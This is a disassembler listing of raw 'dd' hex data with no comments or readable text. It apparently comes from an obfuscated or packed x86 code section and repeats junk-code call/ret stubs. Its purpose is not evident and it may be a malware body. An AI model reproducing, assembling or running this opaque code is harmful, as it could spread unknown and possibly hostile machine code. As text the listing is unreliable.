		dd 4247C89h, 4244481h, 1Bh, 5DC35747h, 7F9F4827h, 89386498h
		dd 0E91BD9B5h, 9858907h, 5107E91Bh, 16E1BD89h, 8D5B07E9h
		dd 0ECB40685h, 8E807h, 9C190000h, 70BDCFD1h, 1601352h
		dd 0E925718Dh, 11E907h,	0C29D0000h, 3294BD2h, 68ED2D62h
		dd 0BE8A03D1h, 61E79D8Bh, 0EE9505Fh, 98000000h,	6F0B8F1Eh
		dd 63943E6Ah, 9EF59E80h, 24048950h, 9EF3F781h, 0FF647652h
		dd 35h,	9858900h, 0BF07E913h, 68924E92h, 258964h, 0F000000h
		dd 1584h, 0BE96000h, 0CD000000h, 5250A9A7h, 91961333h
		dd 0CB808418h, 85FF61EDh, 7E90F9Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0E1C35545h,	0B63BF345h, 0E381FA05h
		dd 4872C895h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0FF16D3C3h, 0E9170DB5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0FD5C9614h, 95FFA628h, 7E9233Dh, 163E9h, 0BE900h, 0BA4F0000h
		dd 7D5B543Fh, 0ED3A33CBh, 8B00B0BFh, 5070E6D9h,	1F45BD29h
		dd 0E45F07E9h, 37BB6671h, 0F613CB3h, 13783h, 11E900h, 26400000h
		dd 7ED9A8E4h, 0B871E561h, 38B64462h, 0F0110BFh,	0BB66C8B6h
		dd 6BABC5Ch, 8B000000h,	0E91AD5BDh, 0DEBF0F07h,	0CE9C18Bh
		dd 37000000h, 0E2C54C5Ch, 0D6C5085Eh, 0C1EC52CBh, 850104E8h
		dd 7E9032Dh, 2269BD33h,	0F76607E9h, 18589E2h, 0BF07E908h
		dd 20A0276h, 9D8BC82Bh,	7E92E4Dh, 9E8D18Bh, 18000000h
		dd 0D6D36D31h, 5FA69FB9h, 7E8h,	1D227800h, 4B09DEE7h, 2A9D8529h
		dd 5B5B07E9h, 7519D89h,	0A5E907E9h, 66000000h, 8BB8ACBFh
		dd 185h, 83D88B00h
		dd 8B6607C0h, 0C083DEh,	6890Fh,	0BD890000h, 7E91259h, 830FD03Bh
		dd 1Fh,	77E9h, 0E8565000h, 10h,	8C34A6B2h, 5D0F17A4h, 4574CCEBh
		dd 601B50A8h, 8B5B5B5Fh, 0FFFFFF8Dh, 0AE9FFh, 84CD0000h
		dd 0E0D65862h, 757016EEh, 0F01E183h, 3F84h, 13E800h, 31410000h
		dd 7F89A874h, 3E079E42h, 5539FFAFh, 3542F4D2h, 9A46BB70h
		dd 835F55A5h, 0FFFFFFA5h, 810FFEFFh, 3,	89FBBF0Fh, 195h
		dd 0C19D8B00h, 0E907E92Ch, 0
aNVAJ		db 'µv|í',7,'j',0
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0BB0C03C3h, 0DB6DC96Eh, 66C82265h, 6A3EF6BBh, 95FFFC00h
		dd 7E90C31h, 4800Fh, 0BF660000h, 0B589A1C7h, 7E90F65h
		dd 0FA6B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0B0EC7376h, 0B3ECB12h, 55BD8B4Ch
		dd 8307E91Eh, 0BD89FCE1h, 7E91199h, 57006AFCh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0F0E02B4h
		dd 830FEB4Ah, 6, 2A659589h, 9E807E9h, 0AB000000h, 0FE7DB4CCh
		dd 0A1232AF3h, 5BDE8B66h, 0B8h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 830F84A4h
		dd 3, 8BFBBF0Fh, 0E92075BDh, 0BA07h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0C8D8CC3h
		dd 0C233AD1Dh, 0D003E8D1h, 7504E983h, 69CB80F4h, 2F258D01h
		dd 880D07E9h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0EFC2C350h,	8B19C368h
		dd 0D958BDAh, 6A07E932h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E9E6C357h,	7, 7967B5A9h
		dd 8BEE6E46h, 0E922E58Dh, 0B9B58907h, 5007E909h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 6840F58h, 89000000h
		dd 0E91A9D8Dh, 83F88B07h, 0E91C2DBDh, 840F0007h, 0A4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C5C35545h
		dd 0F11F91A7h, 6622499Ch, 0B8B4DCBBh, 0
		dd 12E8h, 5780F200h, 0E22AF003h, 9B19F89Dh, 0CE1A5E9h
		dd 0F5B48AB1h, 19E3815Bh, 8D6B4160h, 0E94D5A8Dh, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 902A2E92h, 0E5958975h, 0FF07E92Ah, 57006AE1h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0A69FB9D6h, 0A712945Fh, 52DF8B66h, 5BDFBF0Fh, 22B1BD83h
		dd 0F0007E9h, 55D84h, 7E900h, 6BAA0000h, 0A96FE0DDh, 0B1BD83A8h
		dd 107E922h, 55F840Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0FCF60BC3h, 9D099C43h
		dd 7E91611h, 22B1BD83h,	0F0307E9h, 4F686h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 8FA8654h, 820F6041h,	6, 37EFE081h, 0E1BE6E90h, 6145D9B0h
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 1996CB4Ah, 8C664A19h, 53006AD9h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0DBD4E542h
		dd 0BF8C7DA2h, 1ACA53EBh, 6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4FA7C356h
		dd 0DB816660h, 0B58B667Dh, 7E90911h, 99858961h,	0A07E910h
		dd 51840FC9h, 8B000001h, 0E90C5585h, 7E86007h, 2000000h
		dd 5FEAB1ECh, 0BA668C08h, 0F5E2F93h, 289h, 615F5300h, 4317DF81h
		dd 85331C83h, 7E91CE9h,	2BCF8160h, 10E3AD3h, 0E91729B5h
		dd 60506107h, 5250DE8Bh, 8A0Fh,	310F0000h, 10E9h, 0D5BB6900h
		dd 9D700EBDh, 0B426100Eh, 82A720DFh, 61585A1Dh,	6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0C6F0C351h, 6E9D816h, 8B000000h, 9BFACB3Eh
		dd 358D29B0h, 107E916h,	0E91331BDh, 51006A07h, 365C685Bh
		dd 481E952h, 0CCCDA324h, 50006A16h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 97D194B4h, 0BD897EC3h
		dd 7E91739h, 2D995FFh, 6A07E9h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8910C9C3h, 0ECD78585h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 24233FDFh, 0E2B9E30Dh, 0FB18D89h, 42E907E9h
		dd 6A000002h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 97E6C353h, 8F330EBEh, 0BFEC5DD6h
		dd 31C401B1h, 0D77D858Bh, 8E0F07ECh, 6,	8698589h, 0B58907E9h
		dd 7E91F59h, 1800C7h, 37BB0000h, 8B5A9E91h, 0ECD781B5h
		dd 0C5BD8907h, 8B07E92Eh, 0E9185985h, 0B1B58907h, 8907E909h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0DD0B1593h, 0E9933C0h, 0D38166D4h, 9D8BEF3Fh
		dd 7E90F3Dh, 0C55858Bh,	6A07E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 80EA18C3h, 89ADD61Fh
		dd 12E80446h, 0C7000000h, 4C8F093Ah, 0FEDDF10Eh, 0A27EA853h
		dd 7EC9F1C2h, 0F608BFD1h, 505B0C19h, 348918B3h,	50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0DBBF0F46h, 0D77DB5FFh, 6A07ECh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 5D18B0C3h
		dd 4E8068Eh, 0FF000000h, 0E9001F03h, 5,	0A4EAD44Eh, 50605065h
		dd 0F29B352h, 0F525031h, 5A585A31h, 0D112BE58h,	8B617277h
		dd 0E9042444h, 14h, 80D8033Fh, 0A2FB393Dh, 6FB3C05Dh, 3589AE42h
		dd 0B4923275h, 4489008Bh, 4DBB0424h, 5871DC35h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0CC35343h, 0BAC6BC64h
		dd 3E9EDBF0h, 6782EBBh,	85858D20h, 6A07ECD7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0B6C8C357h, 5E2F8E64h, 11E9h, 14F8A200h, 7BCAE13Bh
		dd 7B0DAC17h, 1E4E0A60h, 8D893765h, 7E91BF9h, 6A905090h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 798BC356h, 0CBBECAE2h, 52E6AC7Ah,	2850Fh
		dd 0DE8B0000h, 0D995FF5Bh, 6A07E902h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 37A7C350h
		dd 13F0622Ch, 0FDC38166h, 6A6137h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 23BF01C3h, 603E7CA4h
		dd 858BCE8Bh, 7E91F8Dh,	0B185C761h, 307E922h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 9928C357h, 860F53E5h, 6, 19C9B529h, 0F5B07E9h
		dd 88Ah, 9D8B5200h, 7E9022Dh, 45BF665Bh, 85BD83B9h, 7ECD7h
		dd 51840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 190424h, 52420000h, 693310C3h, 893BBA93h, 0E90741BDh
		dd 40E907h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 625729C3h, 5845E4F9h, 508E0E73h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 38BBC08Bh, 94DBF7Ah,	0E912C995h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 918B5298h
		dd 9E6B7DBBh, 0C3802A4Eh, 99BF6657h, 0B1BD8355h, 307E922h
		dd 411850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 8D9235C3h, 91851442h, 9D29E4EDh
		dd 7E91961h, 0D785BD83h, 0F0007ECh, 3DA84h, 0BE900h, 0F75B0000h
		dd 57FC4A36h, 1525DF5Fh, 85B5FF0Dh, 8907ECD7h, 0E934BD85h
		dd 4995FF07h, 6607E913h, 0B58BD88Bh, 7ECD779h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 22C35040h, 6C773AFh
		dd 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	90C35747h, 14E9ED8Fh, 0C5000000h, 68417743h, 61C03B55h
		dd 6C289397h, 7469045h,	0E966D656h, 0Fh, 0DA445605h, 67D1842Ah
		dd 577E5715h, 964B4EE1h, 0E89D5BBBh, 8E85053h, 4A000000h
		dd 3C1A6CA7h, 0B707244Dh, 8B965F28h, 85B5FFF8h,	3307ECD7h
		dd 0E9092DBDh, 0B195FF07h, 8B07E91Ah, 79B58BDEh, 6A07ECD7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0FE6EC356h, 8B730EFEh, 0E90DD5BDh, 0A8E0F07h
		dd 0E9000000h, 5, 638E50F5h, 0F19589C2h, 8B07E92Fh, 0E9244985h
		dd 0EDB58907h, 8907E91Eh, 0C486h, 0DB816600h, 958B3656h
		dd 7E9320Dh, 810Fh, 0C2830000h,	0DE8B6604h, 89205089h
		dd 0E91C7595h, 0A1858D07h, 0E807ECECh, 0Fh, 0D9587B65h
		dd 1D24734Eh, 0DCCB2C9h, 0E9910F1Bh, 12h, 362178F7h, 311FD1CCh
		dd 0B85AABCAh, 6EBC4C05h
		dd 895FB244h, 0B886h, 0B98D2900h, 6A07E930h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 8D055BBCh, 0A752DCEBh, 13E95BE4h, 75000000h,	7426501Dh
		dd 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 0B5FFC61Bh, 7ECD785h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 56C35141h
		dd 0C7691FB9h, 95FF9656h, 7E902CDh, 236FBB66h, 42CB8166h
		dd 0BB669635h, 8B502E2Ah, 0BD8B96D8h, 7E90F19h,	0D785B5FFh
		dd 870F07ECh, 12h, 6E8h, 0A38BF400h, 8B5117C6h,	0E90F319Dh
		dd 95FF5F07h, 7E9302Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 91C35141h, 7B8CF9FAh,	0B9608441h, 480E633Eh
		dd 17398D89h, 836107E9h, 0E91EC9BDh, 840F0007h,	4Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 32C35747h, 7E95750h
		dd 1B000000h, 4819370Ah, 895F63D1h, 6A2434h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4ED442C3h
		dd 85B5FFC0h, 6A07ECD7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6C4BC353h, 57EB9E7Eh
		dd 0AD161544h, 0AE952h,	51EE0000h, 0F2645A7Fh, 0CEEDE3E1h
		dd 0DABF0F5Bh, 0FE9h, 61EF3100h, 233B364h, 78FA5663h, 0E29D3CCAh
		dd 1F9D95FFh, 8E0F07E9h, 5, 94667ABFh, 85B5FF72h, 6A07ECD7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0BCE4C353h, 95896046h, 7E930F9h, 9098D8Bh
		dd 8B6107E9h, 3995FFD8h, 6607E901h, 8329C3BBh, 0E929CDBDh
		dd 840F0207h, 57h, 2FDD9D89h, 858B07E9h, 7E90875h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 3CC35545h, 0B3D85C43h
		dd 0C4AED767h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0B78FC351h,	0C98D8963h
		dd 0C707E92Fh, 0E924AD85h, 7, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0E91A6DCEh
		dd 0FFFFF1F4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	71C35242h, 5386AF4Fh, 8BFC5AF0h, 51BD89C1h, 8D07E92Bh
		dd 0E9086185h, 5E9F807h, 12000000h, 658070DBh, 0E8606090h
		dd 0Dh,	0C1B9D08Dh, 71F070EBh, 3C9D7EDDh, 8B665F1Eh, 23B961C1h
		dd 6101A50Ch, 6A9050h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0B0B313C3h, 5E8FA53h, 1A000000h
		dd 0E360EA78h, 58B0Fh, 81660000h, 5FCF7ED7h, 8D01006Ah
		dd 7E90189h, 0FA8B006Ah, 0F79858Dh, 8D3107EEh, 7E9212Dh
		dd 2905C083h, 0E9266585h, 0D1958907h, 5007E929h, 66525060h
		dd 0F6E9ABFh, 5AD08B31h, 4896158h, 0C434BF24h, 6A3DFBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0BDC35242h
		dd 4EEF18B2h, 0F07499A9h, 9BC38035h, 11E8006Ah,	70000000h
		dd 0A8BF401Bh, 7F800A2Ah, 61455F3h, 740D4774h, 1C298589h
		dd 0BB5B07E9h, 751E8D7Bh, 0FB995FFh, 8D8D07E9h,	7ECD72Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8DC35343h
		dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 168FDC3h,	86A21A52h, 1CC4BF66h, 1B69BD83h
		dd 0F0107E9h, 5A85h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD238671h, 7E91739h
		dd 19CDBD23h, 26A07E9h,	21C9BD23h, 895007E9h, 0E0BF2404h
		dd 0E9419B78h, 0Fh, 0AD8DDFF7h,	0B35BE270h, 0CC813898h
		dd 0FF41320Ah, 0E902CD95h, 19B52907h, 0E907E919h, 0D63h
		dd 0E8h, 0ED815D00h, 7EE0F83h, 0B589FB8Bh, 7E93591h, 0B406858Dh
		dd 6A07ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 4B61ACC3h, 0CB8B6096h, 6131C580h,	14FDBD8Bh
		dd 0B58907E9h, 7E92605h, 1DB1BB50h, 489546Bh, 9DB58924h
		dd 2907E925h, 0E92A1D85h, 35FF6407h, 0
		dd 0D111EB81h, 896444F1h, 25h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 9D85FF41h
		dd 0E907E90Fh, 0Fh, 9E457A1Ah, 227B1760h, 0E4376F0Eh, 6A3315EBh
		dd 618D29FFh, 0FF07E916h, 0E93151B5h, 35BD8907h, 0FF07E909h
		dd 0E9233D95h, 111E907h, 0BD8B0000h, 7E92129h, 0FA8B00B0h
		dd 0E4F970E6h, 0FA8B6671h, 830F613Ch, 0F7h, 2F89BD8Bh
		dd 0B60F07E9h, 8E0FC8h,	0BA000000h, 6, 26559529h, 0C18B07E9h
		dd 1DA59D8Bh, 0E8C107E9h, 0BBBB6604h, 0E2F7665Fh, 0BE0525BFh
		dd 29C82B23h, 0E916FDBDh, 8BD18B07h, 0E90991BDh, 0B1E907h
		dd 0B5890000h, 7E92DD5h, 4858Bh, 8B660000h, 7C083F8h, 0C083DE8Bh
		dd 0FA8B6600h, 830FD03Bh, 30h, 0CBD9D89h, 0BF0F07E9h, 81E9D9h
		dd 820F0000h, 1Ch, 3C28160h, 0E814C3C4h, 0Eh, 3DEBECFCh
		dd 0BE217022h, 0C3E95150h, 615B26E8h, 0FFFF8D8Bh, 12E9FFFFh
		dd 0E1000000h, 474F19C4h, 3715C77Eh, 4C015A8Ah,	8FA9DC78h
		dd 8383B7ECh, 840F01E1h, 37h, 8918DF80h, 0E9151595h, 0FFA58307h
		dd 0FEFFFFFFh, 6810Fh, 0DF810000h, 0AE6AAE8h, 5BCB8166h
		dd 49589A1h, 60000000h,	3181B589h, 0B70F07E9h, 0E961D8h
		dd 8D000000h, 0ED8C1CB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0E2B44B2Fh
		dd 48518137h, 6E90B19h,	2A000000h, 5E555DA9h, 0BD953199h
		dd 6A07E900h, 0E99D8B00h, 0FF07E929h, 0E90C3195h, 56CF8107h
		dd 0B90EF49Eh, 0F6Eh, 13E9h, 0D36FAA00h, 5214C158h, 72D56E0Fh
		dd 0E97480D9h, 0D37024A8h, 66FCE183h, 1FF3D781h, 55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 893AB33Dh, 0E926AD8Dh, 0FC02B07h, 687h, 4DBD2300h, 0F07E92Eh
		dd 282h, 2BD98B00h, 52006AD2h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 33ADFC71h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0E5F2A0C3h, 12E9h, 0BD6AEC00h, 7793D43Dh
		dd 55B70F91h, 1B3A2940h, 6A270982h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0A47BC356h
		dd 0BD8BAE54h, 7E92095h, 880Dh,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0D0ABD8E4h
		dd 8BB3F897h, 0E909E19Dh, 0D958B07h, 0F07E932h,	8D8BF8BFh
		dd 7E922E5h, 10E956h, 0B3E0000h, 0ECF8CA4Ch, 8E2C23C7h
		dd 645665C7h, 8B5BC42Eh, 0C28B50F8h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6658188Bh, 6E8DE8Bh, 0F4000000h,	0DC61B76Bh
		dd 49BB66E0h, 8D0F5BE5h, 3, 83F88B66h, 0E91C2DBDh, 840F0007h
		dd 90h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
		dd 0B2C35747h, 10BB66EEh, 0B8EAh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0AA0DF5C3h
		dd 49F55B4Ch, 8D12CE89h, 0E94D5A8Dh, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 8B604221h
		dd 0E9F9810Fh, 12h, 9A42E3C0h, 69AA961h, 66B2AB22h, 95F45BADh
		dd 0E1FF5617h, 0E6CEBF66h, 22B1BD83h, 0F0007E9h, 46F84h
		dd 7DBD3300h, 8107E922h, 0B1051ADBh, 0B1BD836Eh, 107E922h
		dd 471840Fh, 51600000h,	73E98166h, 0B58958E6h, 7E913CDh
		dd 0B1BD8361h, 307E922h, 41F860Fh, 0B5890000h, 7E92DBDh
		dd 31BB6660h, 6A606197h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 96B5C350h, 0A82E8053h
		dd 0FEB70FF3h, 57D98C66h, 0DE9h, 0C2A27E00h, 0D17EC9F1h
		dd 46A8EB59h, 665F6CEFh, 8051E1BBh, 6A04E1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 5C2231C3h
		dd 0CE849h, 0EA710000h,	2D86E19Fh, 0CAA5F809h, 0BD8BB347h
		dd 7E91EA9h, 718D895Fh,	0A07E920h, 40840FC9h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 417AC352h, 0B1465295h, 81911DBCh,	0BEDB18F7h
		dd 71BD8B42h, 8B07E911h, 0E90C5585h, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B509CF1Fh
		dd 7E91509h, 1CE98533h,	6A07E9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0E87A7FC3h, 16164C77h
		dd 818AD068h, 20628BEBh, 66525057h, 895FFE8Bh, 89F92404h
		dd 0E908C98Dh, 6A006A07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 188CC353h, 503E68B9h
		dd 0E9520065h, 0Ch, 0F0622C37h,	0C7FF9D13h, 0FFA5479Ch
		dd 2434815Bh, 7A53C1h, 95FF32B7h, 7E902D9h, 17D9589h, 858907E9h
		dd 7ECD785h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	5C35747h, 0FE51BFFFh, 66E6E17Fh, 0F2F0BBFh, 0F5E9DEB7h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 1E9CC352h, 3812D7EBh, 8B6846DBh
		dd 0ECD77D85h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 25FFCB59h, 1595BD8Bh
		dd 12E907E9h, 0D5000000h, 0BD1B2B0Fh, 597F66A4h, 0EC11C499h
		dd 0FE7193AEh, 1800C79Fh, 0E8000000h, 14h, 54B2A13Ah, 0D82538ACh
		dd 58119882h, 0D2773E1Fh, 0F97399AEh, 2311BD89h, 8B5F07E9h
		dd 0ECD781B5h, 89858907h, 8B07E90Fh, 0E9185985h, 0E9858907h
		dd 8907E90Bh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0DE044324h, 0C55858Bh, 9D2B07E9h
		dd 7E91A79h, 6A044689h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0D2AEC350h,	0B5030ABFh
		dd 0B8BF95F9h, 9623E794h, 0F508CB3h, 280h, 96FE8B00h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 86C35343h, 4CDFF07Eh
		dd 0E9B87E7Eh, 0FFF88B66h, 0ECD77DB5h, 798D8907h, 0E807E923h
		dd 4, 1F03FFh, 9E8h, 640E6900h,	7D18D026h, 0BB666E7Ah
		dd 505F9A32h, 0BF665250h, 310FA4BEh, 3022BF66h,	448B585Ah
		dd 8B660424h, 8B008BFEh, 244489F9h, 0CE804h, 91780000h
		dd 6C63606Ah, 64D570B6h, 13E916A7h, 77000000h, 0A13EC1A2h
		dd 604A628Eh, 0D3208B03h, 3BE387BBh, 585B4846h,	1FC5B589h
		dd 858D07E9h, 7ECD785h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 41C35242h, 2982FB59h,	0FE9BA14h, 9000000h
		dd 19DAAD3Fh, 86C28915h, 0B70147C8h, 0B3904227h, 0F9905005h
		dd 2D995FFh, 0BD3307E9h, 7E92B51h, 13E95761h, 0C000000h
		dd 0DE3E54F4h, 0D62D55C2h, 0EDC163A3h, 37113154h, 0C75F1866h
		dd 0E922B185h, 307h, 14BF6600h,	85BD8300h, 7ECD7h, 43840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h
		dd 34B9BDC3h, 9036DDB9h, 11E8h,	31586300h, 0CB702CADh
		dd 99BC4D64h, 8F862381h, 5B53D983h, 1EE95Bh, 8B660000h
		dd 0C3050DEh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 66DF8166h, 52006A0Eh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 4D8B8EC8h
		dd 6DD12A89h, 33600D73h, 0E9158D95h, 0BD836107h, 7E922B1h
		dd 0F5850F03h, 0F000003h, 0D89h, 81666000h, 0FA26CE8h
		dd 85h,	0BD836100h, 7ECD785h, 0D5840F00h, 0BB000003h, 62916AAh
		dd 0D785B5FFh, 6A07ECh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 791D54C3h, 335805BCh, 8140E111h
		dd 5E5137C7h, 4995FF34h, 5607E913h, 70D36DBBh, 0B58B5F6Ah
		dd 7ECD779h, 6C7D88Bh, 10001h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 7CC35646h, 66EE229Bh, 50A61CBBh
		dd 0BB665250h, 310F806Eh, 3489585Ah, 0DE8B6624h, 0D785B5FFh
		dd 6A07ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 61B3D2C3h, 0FADBD8Bh, 0FE8B07E9h,	1AB195FFh
		dd 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 104C39C3h, 260B08F4h, 354DBD29h, 0B58B07E9h
		dd 7ECD779h, 858BB7B3h,	7E92449h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 17C35747h, 7B47429Eh, 0C48689F2h
		dd 89000000h, 0E907A9B5h, 0D958B07h, 2907E932h,	0E92AF185h
		dd 4C28307h, 0D5C78166h, 205089E9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 56C35040h, 668E7D84h, 858DF5B1h
		dd 7ECECA1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	9FC35242h, 89EF0432h, 0B886h, 0AD8D8900h, 6A07E918h
		dd 1929BF00h, 8B6663A3h, 85B5FFF9h, 3107ECD7h, 0E90B15B5h
		dd 0CD95FF07h, 6A07E902h, 3E85000h, 20000000h, 8958C358h
